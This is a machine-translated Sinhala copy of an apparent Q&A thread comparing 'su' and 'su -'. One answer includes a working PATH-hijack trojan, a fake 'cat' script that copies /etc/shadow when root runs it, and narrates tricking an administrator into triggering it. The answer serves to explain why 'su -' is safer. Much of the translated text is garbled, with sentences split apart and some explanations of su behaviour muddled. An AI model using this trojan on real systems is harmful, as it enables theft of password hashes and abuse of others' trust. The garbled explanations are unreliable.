Answers:
su -
පරිශීලකයා මාරු කිරීමෙන් පසු පිවිසුම් කවචයක් ඉල්ලා සිටී. පිවිසුම් කවචය බොහෝ පරිසර විචල්යයන් යලි සකසමින් පිරිසිදු පදනමක් සපයයි.
su
පරණ පරිශීලකයාට සමාන පරිසරයක් සහිත සාමාන්ය කවචයක් ලබා දෙමින් පරිශීලකයා මාරු කරයි.
සිතන්න, ඔබ යන්ත්රයකට සාමාන්ය පරිශීලක ප්රවේශයක් ඇති මෘදුකාංග සංවර්ධකයෙක් වන අතර ඔබේ නූගත් පරිපාලක ඔබට මූල ප්රවේශය ලබා නොදේ. අපි ඔහුව රැවටෙමු.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
දැන්, ඔබ cat
ඔබේ නිවසේ ෆෝල්ඩරයේ ව්යාජ ගොනුවක් කළ නොහැක්කේ මන්දැයි ඔබ ඔබේ පරිපාලකගෙන් විමසයි, එය ක්රියා නොකරනු ඇත!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
ඔබේ පරිපාලකයා එතරම් බුද්ධිමත් හෝ ටිකක් කම්මැලි නොවේ නම්, ඔහු ඔබේ මේසය වෙත පැමිණ ඔහුගේ සුපිරි පරිශීලක බලයන් සමඟ උත්සාහ කළ හැකිය:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
වාව්! ස්තූතියි, සුපිරි පරිපාලක!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
ඔහු, ඔහු.
දූෂිත $PATH
විචල්යය නැවත සකසා නොමැති බව ඔබ දැක ඇති . පරිපාලක su -
ඒ වෙනුවට ආයාචනා කළා නම් මෙය සිදු නොවනු ඇත .
umask
000 ක් සැකසීමට අමතක නොකරන්න, නැතහොත් එය ක්රියා නොකරනු ඇත.
su
යමෙකුට PATH තුළ ගොනුවක් තැබිය හැකිය . යථාර්ථයේ හැසිරීම අනුකරණය කිරීම එතරම් අපහසු නොවේ su
. සුපිරි පරිශීලකයා කෙසේ හෝ නොසැලකිලිමත් වී ඇත :-)
su --
සමාන නොවේ su -
: --
වැඩිදුර විකල්ප සඳහා විධාන රේඛාව සැකසීම නවත්වන ලෙස getopt (s) (හෝ ඊට සමාන) විකල්ප හසුරුවන්නෙකුට කියයි (නිදසුනක් ලෙස ප්රයෝජනවත් වන්නේ '-' සමඟ ආරම්භ කළ හැකි ගොනු නාමයන් නම්). එනම්, දී "rm -i - -f": -f එසේ නම්, සාමාන්ය තර්කයක් ලෙස ප්රතිකාර කළ හැක එසේ නම් මෙන්න ලෙස කරන ගොනුවේ නම කිරීමට rm -i
, සහ නැත යනු additionnal ලෙස -f
කිරීමට විකල්පය rm
විධාන. ඒ නිසා su --
හුදෙක් su
නොව su -
! ඒ නිසා su --
කටකාරයෙක් විසින් (පරියුට්ඨාන සහ උපදේශාත්මක) උදාහරණයක් givan කිරීම අනාරක්ෂිත ලෙස වනු ඇත. භාවිතා කරන්න su -
.
su -
ඔබ මුලුමනින්ම root ලෙස ලොග් වන අතර, su
එමඟින් ඔබ root ලෙස මවා පෙන්වයි.
මේ සඳහා වඩාත්ම පැහැදිලි උදාහරණය ~
නම් ඔබ භාවිතා කරන්නේ නම් root හි නිවාස නාමාවලියයි su -
, නමුත් ඔබ භාවිතා කරන්නේ නම් ඔබේම නිවාස නාමාවලියයි su
.
ඔබේ පද්ධතිය මත පදනම්ව, එය ක්ෂණික PATH
හෝ ඉතිහාස ගොනුවේ වෙනස්කම් ද අදහස් කරයි.
එබැවින් ඔබ පද්ධතියක් පරිපාලනය කරන කණ්ඩායමක කොටසක් නම් සහ ඔබේ සගයා ඔබට ක්රියාත්මක කිරීමට විධානයක් ලබා දෙන්නේ නම්, ඔබ දෙදෙනාම භාවිතා කරන්නේ නම් එය එසේම ක්රියාත්මක වන බව ඔබ දනී su -
, නමුත් ඔබ දෙදෙනාම භාවිතා කරන්නේ නම්, ඔබ su
නිසා වෙනස්කම් තිබිය හැකිය විවිධ කවච වින්යාසයන්.
අනෙක් අතට, ඔබට විධානයක් root ලෙස ධාවනය කිරීමට අවශ්ය නමුත් ඔබේම වින්යාසය භාවිතා කිරීමට අවශ්ය නම් සමහර විට su
ඔබට වඩා හොඳය.
මූලයක් ලෙස ධාවනය වන කවචයක් ආරම්භ කිරීමට විකල්පයක් sudo
ඇති, අමතක නොකරන්න -s
. ඇත්ත වශයෙන්ම, මෙයද වෙනස් නීති රීති ඇති අතර, ඔබ භාවිතා කරන්නේ කුමන බෙදාහැරීම අනුවද ඒවා වෙනස් වේ.
.bashrc
හෝ /etc/bashrc
හෝ /etc/profile.d
පිටපත් පිහිටුවීම PATH
. සඳහා බලන්න if [ $UID -eq 0 ]
හෝ ඒ වගේ දෙයක්.
$USER
උදාහරණයක් ලෙස නොවෙනස්ව පවතී.
sudo su
?
ප්රධාන වෙනස වන්නේ:
su - username
නිශ්චිත පරිශීලකයා ලෙස පිරිසිදු පිවිසුමක් සේ ෂෙල් පරිසරය සකසයි, එය නිශ්චිත පරිශීලකයින්ගේ පරිසර විචල්යයන්ට ප්රවේශ වී භාවිතා කරයි,
su username
නිශ්චිත පරිශීලකයා සඳහා වත්මන් පරිසර සැකසුම් සමඟ කවචයක් ආරම්භ කරන්න.
පරිශීලක නාමය සමඟ නියම නොකරන්නේ නම් su
සහ su -
, root ගිණුම සුපුරුදු ලෙස ගම්ය වේ.
මම සු භාවිතා කරමි - මම සාමාන්ය පරිශීලකයෙකු ලෙස නාමාවලියක සිටින නමුත් root වෙත මාරු වී ස්විචයෙන් පසුව එකම නාමාවලියක රැඳී සිටීමට අවශ්ය විට. ඔබ su භාවිතා කරන විට - එය පරිශීලකයා root වෙත මාරු කරන අතර root නිවාස නාමාවලිය වන / root වෙත ඔබව ගෙන යයි.
/
su --
සමාන වේsu
.